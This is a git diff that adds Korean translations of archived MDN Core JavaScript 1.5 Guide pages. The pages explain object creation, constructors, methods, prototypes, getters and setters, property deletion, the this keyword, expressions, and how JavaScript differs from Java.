+
+<p>getter/setter를</p>
+
+<ul>
+ <li><a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화 지정자</a>를 이용해서 정의하거나,</li>
+ <li>개체가 만들어진 이후에 getter/setter 추가 메소드를 이용해서 언제든지 추가할 수 있습니다.</li>
+</ul>
+
+<p><a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화 지정자</a>를 이용할 때는 단순히 getter 메소드 앞에는 <code>get</code>을 써주고 setter 메소드 앞에는 <code>set</code>을 써주기만 하면됩니다. 물론 getter 메소드에는 매개변수가 없어야 하고 setter에는 정확히 하나만 있어야 합니다. 다음 예제에서와 같이 말입니다.</p>
+
+<pre class="eval">o = {
+  a:7,
+  <strong>get</strong> b() { return this.a+1; },
+  <strong>set</strong> c(x) { this.a = x/2; }
+};
+</pre>
+
+<p>개체가 생성된 이후에 어느 때라도 <code>__defineGetter__</code>와 <code>__defineSetter__</code>라는 메소드를 이용하면 getter/setter를 정의할 수 있습니다. 두 메소드 모두 첫 번째 매개변수에 getter/setter 이름을 나타내는 문자열을 받습니다. 두 번째 매개변수는 getter/setter로서 호출될 함수를 받습니다. 예제를 보십시오.</p>
+
+<pre class="eval">o.__defineGetter__("b", function() { return this.a+1; });
+o.__defineSetter__("c", function(x) { this.a = x/2; });
+</pre>
+
+<p>두 가지 중에서 어떤 방식을 택할지는 프로그래밍 스타일이나 해야할 작업에 달려있습니다. 프로토타입을 정의하는데 이미 개체 초기화 지정자를 사용하고 있다면 거의 첫 번째 방식을 사용할 것입니다. 첫 번째가 좀 더 단순하고 자연스러운 방식입니다. 그러나 우리가 직접 프로토토입을 만들거나 개체를 생성할 수 없어서 나중에 getter/setter를 추가해야 하는 상황이라면 두 번째 방식을 사용할 수 밖에 없습니다. 두 번째 방식은 JavaScript의 동적인 특성을 잘 보여주는 방식입니다. 하지만 코드를 읽고 이해하기 어렵게 만들 수도 있습니다.</p>
+
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_this_for_Object_References", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Deleting_Properties") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html
new file mode 100644
index 0000000000..8e91a2007f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html
@@ -0,0 +1,43 @@
+---
+title: Defining Methods
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods
+---
+<h3 id=".EB.A9.94.EC.86.8C.EB.93.9C_.EC.A0.95.EC.9D.98" name=".EB.A9.94.EC.86.8C.EB.93.9C_.EC.A0.95.EC.9D.98">메소드 정의</h3>
+<p>
+ <i>
+  메소드</i>
+ 는 개체와 연관되어 있는 함수입니다. 일반적인 함수를 정의하는 것과 같은 방법으로 메소드를 정의합니다. 그 후에, 존재하는 개체와 함수를 연관시키기 위해서 다음과 같은 문법을 사용합니다.</p>
+<pre>object.methodname = function_name
+</pre>
+<p><code>object</code>는 존재하는 개체중에 하나이고, <code>methodname</code>은 지금 추가하려는 메소드 이름이며, <code>function_name</code>은 함수 이름입니다.</p>
+<p>이제 우리는 개체의 메소드를 호출할 때 다음과 같이 할 수 있습니다.</p>
+<pre>object.methodname(params);
+</pre>
+<p>개체 생성자 함수에 메소드 정의를 포함시켜서 개체 타입에 대한 메소드를 정의할 수 있습니다. 예를 들어, 미리 정의된 car 개체의 속성을 출력해주는 함수를 정의할 수 있습니다.</p>
+<pre>function displayCar() {
+   var result = "A Beautiful " + this.year + " " + this.make
+      + " " + this.model;
+   pretty_print(result);
+}
+</pre>
+<p><code>pretty_print</code>는 가로선과 문자열을 출력하는 함수입니다. 이 메소드가 포함된 개체를 참조하기 위해서 <code>this</code>를 사용하고 있다는 것을 주의해서 보십시오.</p>
+<p>아래 문장을 개체 정의에 추가함으로써 이 함수를 car의 메소드로 만들 수 있습니다.</p>
+<pre>this.displayCar = displayCar;
+</pre>
+<p>그러므로 <code>car</code> 개체의 완벽한 정의는 아래와 같은 모습이 될 것입니다.</p>
+<pre>function car(make, model, year, owner) {
+   this.make = make;
+   this.model = model;
+   this.year = year;
+   this.owner = owner;
+   this.displayCar = displayCar;
+}
+</pre>
+<p>그러면 우리는 모든 car 개체에 대해서 이런 식으로 <code>displayCar</code> 메소드를 호출할 수 있게됩니다.</p>
+<pre>car1.displayCar()
+car2.displayCar()
+</pre>
+<p>이 코드는 다음 그림과 같은 내용을 만들어냅니다.</p>
+<p><img alt="Image:obja.gif"> <small><b>그림 7.1: 메소드 출력 결과</b></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Properties_for_an_Object_Type", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_this_for_Object_References") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html
new file mode 100644
index 0000000000..17c2aa7de8
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html
@@ -0,0 +1,11 @@
+---
+title: Defining Properties for an Object Type
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type
+---
+<h3 id=".EA.B0.9C.EC.B2.B4_.ED.98.95.EC.8B.9D.EC.97.90_.EC.86.8D.EC.84.B1_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0" name=".EA.B0.9C.EC.B2.B4_.ED.98.95.EC.8B.9D.EC.97.90_.EC.86.8D.EC.84.B1_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0">개체 형식에 속성 정의하기</h3>
+<p><code>prototype</code> 속성을 이용하면 이미 정의해 놓은 개체 형식에 속성을 추가할 수 있습니다. 이 방법을 사용하면 개체의 인스턴스 하나에만 속성이 추가되는 것이 아니라 같은 타입의 모든 개체가 공유하는 속성을 정의합니다. 다음 코드는 <code>car</code> 형식의 모든 개체에 <code>color</code> 속성을 추가하고, <code>car1</code> 개체의 <code>color</code> 속성에 값을 할당하는 코드입니다.</p>
+<pre>Car.prototype.color=null;
+car1.color="black";
+</pre>
+<p>더 많은 정보를 얻으려면 <a href="ko/Core_JavaScript_1.5_Reference">기본 JavaScript 레퍼런스</a>에 있는 Function 개체의 <a href="ko/Core_JavaScript_1.5_Reference/Objects/Function#Properties"><code>prototype</code> 속성</a>을 보십시오. {{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Indexing_Object_Properties", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Methods") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html
new file mode 100644
index 0000000000..1b6f50cc11
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html
@@ -0,0 +1,20 @@
+---
+title: Deleting Properties
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties
+---
+<h3 id=".EC.86.8D.EC.84.B1_.EC.A0.9C.EA.B1.B0" name=".EC.86.8D.EC.84.B1_.EC.A0.9C.EA.B1.B0">속성 제거</h3>
+<p><code>delete</code> 연산자를 사용하여 속성을 제거할 수 있습니다. 어떻게 속성을 제거하는지 코드를 보십시오.</p>
+<pre>//a와 b라는 속성을 가지는 새 개체를 만듭니다.
+myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+//myobj가 속성 b만을 가지도록 속성 a를 지웁니다.
+delete myobj.a;
+</pre>
+<p>전역 변수를 선언할 때 <code>var</code> 키워드를 사용하지 않았다면 그 전역 변수를 제거하는데 <code>delete</code> 연산자를 사용할 수 있습니다.</p>
+<pre>g = 17;
+delete g;
+</pre>
+<p>더 많은 정보를 얻으려면 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators#delete">delete</a>를 보십시오. {{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Getters_and_Setters", "Core_JavaScript_1.5_Guide:Predefined_Core_Objects") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html
new file mode 100644
index 0000000000..8345ba1478
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html
@@ -0,0 +1,6 @@
+---
+title: Creating New Objects
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects
+---
+{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html
new file mode 100644
index 0000000000..84b9df2c2d
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html
@@ -0,0 +1,9 @@
+---
+title: Indexing Object Properties
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties
+---
+<h3 id=".EA.B0.9C.EC.B2.B4_.EC.86.8D.EC.84.B1_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0" name=".EA.B0.9C.EC.B2.B4_.EC.86.8D.EC.84.B1_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0">개체 속성 접근하기</h3>
+<p>JavaScript 1.0에서는 개체의 속성을 참조할 때 개체 이름이나 순서 인덱스를 사용할 수 있습니다. 그러나 JavaScript 1.1과 그 이후 버전에서는 처음에 속성을 정의할 때 이름으로 정의했으면 항상 이름으로만 참조해야 하고, 인덱스로 정의했으면 인덱스로만 참조해야 합니다.</p>
+<p>이런 제한은 앞 페이지 예제의 car 개체 형식처럼 생성자 함수로 개체와 개체 속성을 만들 때나 명시적으로 개별 속성을 만들 때(예를 들어 <code>myCar.color = "red"</code> 같은 식으로 속성을 추가할 때) 모두 적용됩니다. 그러므로 <code>myCar{{ mediawiki.external(5) }} = "25 mpg"</code>라고 인덱스를 이용해서 속성을 정의하면 그 이후로는 항상 <code>myCar{{ mediawiki.external(5) }}</code>로 참조할 수 있습니다.</p>
+<p>이 규칙은 <code>forms</code> 배열 같이 HTML을 반영하여 생성된 개체에는 예외입니다. 이 배열에 있는 개체를 참조할 때는 순서(문서에 기록된 순서)를 나타내는 숫자나 이름(이름을 정의한 경우에만)을 이용하여 참조할 수 있습니다. 예를 들어, 문서에 있는 두 번째 <code>&lt;FORM&gt;</code> 태그가 "myForm"이라는 값을 가진 <code>NAME</code> 속성을 갖고 있다면 이 폼은 <code>document.forms{{ mediawiki.external(1) }}</code>, <code>document.forms{{ mediawiki.external('\"myForm\"') }}</code>, <code>document.myForm</code>으로 접근할 수 있습니다. {{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_a_Constructor_Function", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Properties_for_an_Object_Type") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html
new file mode 100644
index 0000000000..552347b70e
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html
@@ -0,0 +1,58 @@
+---
+title: Using a Constructor Function
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function
+---
+<h3 id=".EC.83.9D.EC.84.B1.EC.9E.90_.ED.95.A8.EC.88.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name=".EC.83.9D.EC.84.B1.EC.9E.90_.ED.95.A8.EC.88.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">생성자 함수 사용하기</h3>
+<p>다른 방법으로, 다음 두 단계를 거쳐서 개체를 만들 수도 있습니다.</p>
+<ol>
+ <li>생성자 함수를 작성함으로써 개체를 정의합니다.</li>
+ <li>new 키워드를 사용하여 개체의 인스턴스를 만듭니다.</li>
+</ol>
+<p>개체 형식을 정의하기 위해서, 개체의 이름, 속성, 메소드를 지정하는 함수를 만듭니다. 자동차를 나타내기 위한 개체를 만들고 싶다고 해봅시다. 그렇다면 이 형식이 <code>car</code>라고 불리길 원할 것이고, make, model, year라는 속성이 있기를 원할 것입니다. 원하는 것을 이루기 위해서 이런 함수를 작성합니다.</p>
+<pre>function car(make, model, year) {
+   this.make = make;
+   this.model = model;
+   this.year = year;
+}
+</pre>
+<p>함수의 인자로 전달받은 값을 개체의 속성에 할당하기 위해서 <code>this</code>를 사용했다는 것을 명심하십시오.</p>
+<p>이제 우리는 <code>mycar</code>라는 개체를 이렇게 만들 수 있습니다.</p>
+<pre>mycar = new car("Eagle", "Talon TSi", 1993);
+</pre>
+<p>이 문장은 <code>mycar</code>를 만들고, 지정된 값을 mycar의 속성에 할당합니다. 그러면 <code>mycar.make</code>는 "Eagle"이라는 문자열 값을 가지고, <code>mycar.year</code>는 1993이라는 정수를 가질 것입니다.</p>
+<p>우리는 <code>new</code>를 써서 <code>car</code> 개체를 몇 개라도 만들 수 있습니다.</p>
+<pre>kenscar = new car("Nissan", "300ZX", 1992);
+vpgscar = new car("Mazda", "Miata", 1990);
+</pre>
+<p>개체는 다른 개체를 속성으로 가질 수 있습니다. 예를 들어, <code>person</code> 개체를 다음과 같이 정의했다고 합시다.</p>
+<pre>function person(name, age, sex) {
+   this.name = name;
+   this.age = age;
+   this.sex = sex;
+}
+</pre>
+<p>그리고나서 person 개체의 인스턴스 두 개를 만듭니다.</p>
+<pre>rand = new person("Rand McKinnon", 33, "M");
+ken = new person("Ken Jones", 39, "M");
+</pre>
+<p>이제 우리는 car가 owner라는 속성으로 <code>person</code> 개체를 가지도록 car의 정의를 바꿀 수 있습니다.</p>
+<pre>function car(make, model, year, owner) {
+   this.make = make;
+   this.model = model;
+   this.year = year;
+   this.owner = owner;
+}
+</pre>
+<p>새 개체 인스턴스를 만들 때 이렇게 쓸 수 있습니다.</p>
+<pre>car1 = new car("Eagle", "Talon TSi", 1993, rand);
+car2 = new car("Nissan", "300ZX", 1992, ken);
+</pre>
+<p>위 문장에서 owner 인자로 문자열 상수값이나 정수값을 전달하는 대신 <code>rand</code>와 <code>ken</code>이라는 개체를 전달했다는 사실에 주의하십시오. 이제 car2의 소유자 이름을 알고 싶으면 이런식으로 접근할 수 있습니다.</p>
+<pre>car2.owner.name
+</pre>
+<p>정의된 개체에 아무때나 속성을 추가할 수 있다는 사실을 기억하십시오.</p>
+<pre>car1.color = "black"
+</pre>
+<p>이 문장은 car1에 <code>color</code> 속성을 추가하고 "black"이라는 값을 할당합니다. 그러나 이 문장이 다른 개체에 영향을 미치지는 않습니다. 같은 형식을 가지는 모든 개체에 새 속성을 추가하고 싶으면 car 개체 형식의 정의에 속성을 추가해야 합니다.</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_Object_Initializers", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Indexing_Object_Properties") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html
new file mode 100644
index 0000000000..0ed663ae1f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html
@@ -0,0 +1,25 @@
+---
+title: Using this for Object References
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References
+---
+<h3 id="this.EB.A5.BC_.EC.82.AC.EC.9A.A9.ED.95.9C_.EA.B0.9C.EC.B2.B4_.EC.B0.B8.EC.A1.B0" name="this.EB.A5.BC_.EC.82.AC.EC.9A.A9.ED.95.9C_.EA.B0.9C.EC.B2.B4_.EC.B0.B8.EC.A1.B0">this를 사용한 개체 참조</h3>
+<p>JavaScript에는 <code>this</code>라는 키워드가 있는데, 메소드 안에서 현재 개체를 참조하기 위해서 이 키워드를 사용할 수 있습니다. 예를 들어, 개체의 값 속성을 검증하는 <code>validate</code>라는 함수가 있다고 해봅시다.</p>
+<pre>function validate(obj, lowval, hival) {
+   if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+      alert("Invalid Value!");
+}
+</pre>
+<p>그러면 폼의 각 요소의 <code>onchange</code> 이벤트 핸들러에서 <code>validate</code>를 호출할 때, 다음 예제와 같은 방법으로 this를 사용해서 폼 요소를 <code>validate</code>에 전달할 수 있습니다.</p>
+<pre>&lt;input type="text" name="age" size="3"
+   onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p><code>form</code> 속성과 같이 사용하면, <code>this</code>는 현재 개체의 부모 폼을 참조할 수 있습니다. 다음 예제에서, <code>myForm</code>이라는 폼은 <code>Text</code> 개체와 버튼을 포함하고 있습니다. 사용자가 버튼을 클릭하면 <code>Text</code> 개체의 값을 폼 이름으로 바꿉니다. 버튼의 <code>onclick</code> 이벤트 핸들러에서 부모 폼인 <code>myForm</code>을 참조하기 위해서 <code>this.form</code>을 사용하고 있습니다.</p>
+<pre>&lt;form name="myForm"&gt;
+&lt;p&gt;&lt;label&gt;Form name:&lt;input type="text" name="text1" value="Beluga"&gt;&lt;/label&gt;
+&lt;p&gt;&lt;input name="button1" type="button" value="Show Form Name"
+      onclick="this.form.text1.value=this.form.name"&gt;
+&lt;/p&gt;
+&lt;/form&gt;
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Methods", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Getters_and_Setters") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html
new file mode 100644
index 0000000000..d9f8bb0bf9
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html
@@ -0,0 +1,16 @@
+---
+title: Expressions
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions
+---
+<h3 id=".ED.91.9C.ED.98.84.EC.8B.9D" name=".ED.91.9C.ED.98.84.EC.8B.9D"> 표현식 </h3>
+<p><i>표현식</i>은 상수(literals), 변수, 연산자 그리고 단일값을 반환하는 계산식(값은 숫자, 문자열, 논리값이 가능)이 알맞게 조합된 집합체다.
+</p><p>개념적으로 보면 표현식에는 두가지 타입이 있다: 하나는 변수에 값을 할당하는 것이고 다른 하나는 단순히 값을 가지고 있는 것이다. 예를 들어, x = 7 이라는 표현식은 x 에 7이라는 값을 할당하는 표현식이다. 이 표현식은 스스로 7이라는 값을 부여한다. 이런 표현식들은 <i>할당 연산자</i>를 사용한다. 반면에, 3 + 4 라는 표현식은 단순히 7이라는 값을 계산할 뿐이다; 할당하지 않는다. 이런 표현식에서 사용되는 연산자는 그냥 단순히 <i>연산자</i>라고만 한다.
+</p><p>JavaScript에는 다음과 같은 타입의 표현식이 있다:
+</p>
+<ul><li> 산술형 : 3.14159와 같이 숫자를 표현(evaluate). (일반적으로 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators">산술 연산자</a>를 사용)
+</li><li> 문자열형: "Fred"나 "234"와 같이 문자열을 표현(evaluate). (일반적으로 <a href="ko/Core_JavaScript_1.5_Guide/Operators/String_Operators">문자열 연산자</a>를 사용)
+</li><li> 논리형: 참(true) 혹은 거짓(false)을 표현(evaluate). (종종 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators">논리 연산자</a>와 함께 사용)
+</li><li> 객체형: 객체를 표현(evaluate). (객체표현식에 사용하는 다양한 연산자는 <a href="ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators">특수 연산자</a>를 참고)
+</li></ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Unicode", "Core_JavaScript_1.5_Guide:Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Expressions", "fr": "fr/Guide_JavaScript_1.5/Expressions", "ja": "ja/Core_JavaScript_1.5_Guide/Expressions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Wyra\u017cenia" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html
new file mode 100644
index 0000000000..310ab25c67
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html
@@ -0,0 +1,44 @@
+---
+title: JavaScript Overview
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview
+---
+<h3 id="JavaScript.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name="JavaScript.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">JavaScript란 무엇인가?</h3>
+<p>JavaScript는 크로스 플랫폼, 객체 지향 스크립트 언어입니다. JavaScript는 작고, 가벼운 언어입니다; JavaScript는 단독으로 쓰이는 언어로는 유용하지 않지만, 웹 브라우져 같은 다른 제품이나 프로그램에 포함하기 쉽습니다. 호스트 환경에서 JavaScript는 그 환경의 다른 개체(object)들을 프로그램적으로 제어하기 위해서 그들과 연결될 수 있습니다.</p>
+<p>기본 JavaScript(core JavaScript)는 <code>Array</code>, <code>Date</code>, <code>Math</code>등 기본이 되는 개체들(core set of objects)과 연산자, 제어 구조, 문장등 언어의 기본 요소들(core set of language elements)을 포함하고 있습니다. 기본 JavaScript는 다른 개체를 추가함으로써 다양한 목적을 위해 확장될 수 있습니다. 예를 들면 다음과 같은 것들입니다.</p>
+<ul> <li>"클라이언트쪽 JavaScript"는 브라우저(Navigatore 또는 다른 브라우저들)와 브라우저의 Document Object Model(DOM)을 제어할 수 있는 개체들을 제공함으로써 기본 언어를 확장합니다. 예를 들어, 클라이언트쪽 확장 기능은 응용프로그램이 HTML 폼에 요소를 두어 마우스 클릭이나 폼 입력, 페이지 이동 같은 사용자 이벤트에 반응할 수 있게 합니다.</li> <li>"서버쪽 JavaScript"는 서버에서 JavaScript를 실행하는 데 연관되는 개체들을 제공함으로써 기본 언어를 확장합니다. 예를 들어, 서버쪽 확장 기능은 응용프로그램이 관계형 데이터베이스와 통신할 수 있게 하고, 응용프로그램의 호출들 사이에 연속성을 제공하거나, 서버에서 파일 조작을 수행할 수 있도록 해줍니다.</li>
+</ul>
+<p>JavaScript의 LiveConnect 기능을 통해서, Java와 JavaScript 코드가 서로 통신할 수 있습니다. JavaScript에서 Java 개체를 초기화하여 개체의 공개 메소드와 필드에 접근할 수 있습니다. Java에서 JavaScript 개체, 속성(property), 메소드에 접근할 수 있습니다.</p>
+<p>Netscape가 JavaScript를 개발했고 Netscape 브라우저에서 JavaScript가 가장 먼저 사용되었습니다.</p>
+<h3 id="JavaScript.EC.99.80_Java" name="JavaScript.EC.99.80_Java">JavaScript와 Java</h3>
+<p>JavaScript 와 Java 는 여러가지 면에서 비슷하지만 본질적으로 다릅니다. JavaScript는 Java 와 공통점이 있지만 Java 처럼 형(type)을 검사하지 않습니다. JavaScript는 Java 문법의 대부분과 제어흐름의 기본적인 개념들을 지원합니다.</p>
+<p>Java의 클래스 선언으로 이루어지는 컴파일 타임 시스템에 대조적으로, JavaScript는 수, 불리언, 문자열 값을 나타내는 작은 규모의 자료형에 기반한 런타임 시스템을 지원합니다. JavaScript는 클래스 기반 개체 모델이 아닌 프로토타입 기반(prototype-based) 개체 모델을 갖고 있습니다. 프로토타입 기반 개체 모델은 동적인 상속을 제공합니다. 즉, 각각의 개체를 상속할 수 있는 것입니다. JavaScript는 또 특별히 선언시의 요구사항이 없는 함수도 지원합니다. 함수는 느슨하게 타입된 메소드로 실행됨으로써 개체의 속성이 될 수 있습니다.(Functions can be properties of objects, executing as loosely typed methods.)</p>
+<p>Java에 비해 JavaScript는 형식이 자유로운 언어입니다. 모든 변수, 클래스, 메소드들을 꼭 선언 할 필요는 없습니다. 메소드가 public, private, protected 인지 고민해야할 필요가 없고, interface를 구현할 필요도 없습니다. 변수, 매개변수(parameter), 함수의 반환 형식도 명시적으로 지정할 필요가 없습니다.</p>
+<p>Java는 클래스 기반 프로그래밍 언어로서, 빠른 실행과 형 안정성(type safety)을 위해 설계되었습니다. 형 안정성이란 예를 들면 Java에서 정수를 개체 참조로 변환할 수 없고, Java 바이트코드에 오류를 일으켜서 사적인(private) 메모리 공간에 접근할 수 없다는 말입니다. 자바의 클래스 기반 모델은 프로그램이 클래스와 클래스의 메소드로만 이루어진다는 의미입니다. Java의 클래스 상속과 엄격한 형 검사(strong typing)는 일반적으로 단단히 결합된 개체의 계층 구조를 필요로 합니다. 이런 요구사항이 JavaScript 프로그래밍에 비해 Java 프로그래밍을 더 복잡하게 만듭니다.</p>
+<p>반면 JavaScript는 HyperTalk나 dBASE 같이 적은 줄수의 동적 타입 언어를 계승한 것입니다. 이런 스크립트 언어는 더 많은 사람들을 위한 프로그래밍 도구로서 제공되는데, 이 언어들이 문법이 쉽고, 내장되기에 쉬우며, 개체 생성에 요구 사항이 단순하기 때문입니다.</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript</th> <th>Java</th> </tr> <tr> <td>개체 지향. 개체의 형식 사이에 구분이 없음. 프로토타입 메커니즘을 통해 상속을 지원하고, 어떤 개체에든지 동적으로 속성과 메소드를 추가할 수 있습니다.</td> <td>클래스 기반. 개체는 클래스 계층 구조를 관통하는 상속을 통해서 클래스와 인스턴스(instance)로 나뉩니다. 클래스와 인스턴스에는 동적으로 속성과 메소드를 추가할 수 없습니다.</td> </tr> <tr> <td>변수의 자료형을 선언하지 않음(동적 형 검사)</td> <td>변수의 자료형을 반드시 선언해야 함(정적 형 검사)</td> </tr> <tr> <td>Cannot automatically write to hard disk.</td> <td>Cannot automatically write to hard disk.</td> </tr> </tbody>
+</table>
+<p><small><strong>표(Table) 1.1: JavaScript 와 Java 비교</strong></small><br>
+<br>
+Java와 JavaScript 사이의 차이점에 대해서 더 알고 싶으시면 <a href="/ko/Core_JavaScript_1.5_Guide#.EA.B0.9C.EC.B2.B4_.EB.AA.A8.EB.8D.B8.EC.9D.98_.EC.83.81.EC.84.B8_.EB.82.B4.EC.9A.A9" title="ko/Core_JavaScript_1.5_Guide#.EA.B0.9C.EC.B2.B4_.EB.AA.A8.EB.8D.B8.EC.9D.98_.EC.83.81.EC.84.B8_.EB.82.B4.EC.9A.A9">개체 모델의 상세 내용</a>을 보시기 바랍니다.</p><h3 id="JavaScript.EC.99.80_ECMAScript_.EB.AA.85.EC.84.B8" name="JavaScript.EC.99.80_ECMAScript_.EB.AA.85.EC.84.B8">JavaScript와 ECMAScript 명세</h3>
+<p>Netscape가 JavaScript를 개발했고, Netscape 브라우저에서 가장 처음으로 사용되었습니다. 그러나 <a class="external" href="http://www.ecma-international.org/">Ecma International</a> - 정보와 통신 시스템을 표준화하기 위한 유럽 기구(공식적으로 ECMA - the European Computer Manufacturers Association으로 알려짐) - 과 Netscape가 공동으로 작업하여 기본 JavaScript에 기반하여 표준화되고 국제적인 프로그래밍 언어를 만들어냈습니다. JavaScript의 표준화된 버전은 ECMAScript라고 부르고, 표준을 지원하는 응용프로그램에서는 모두 동일하게 동작합니다. 회사들은 그들의 JavaScript 구현을 개발하기 위해서 공개된 표준 언어를 사용할 수 있습니다. ECMAScript 표준은 ECMA-262 명세에 문서화되어 있습니다.</p>
+<p>ECMA-262 표준은 <a class="external" href="http://www.iso.ch/">ISO</a> (International Organization for Standardization, 국제 표준화기구)의 승인을 받아 ISO-16262가 되었습니다. Mozilla 웹사이트에서 <a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">ECMA-262의 PDF 문서</a>를 얻을 수 있습니다. <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">the Ecma International 웹사이트</a> 에서도 명세를 찾을 수 있습니다. ECMAScript 명세는 <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>에서 표준화 한 Document Object Model(DOM)에 대해서는 설명하지 않습니다. DOM은 HTML 문서 개체들이 스크립트에 노출되는 방식을 정의합니다.</p>
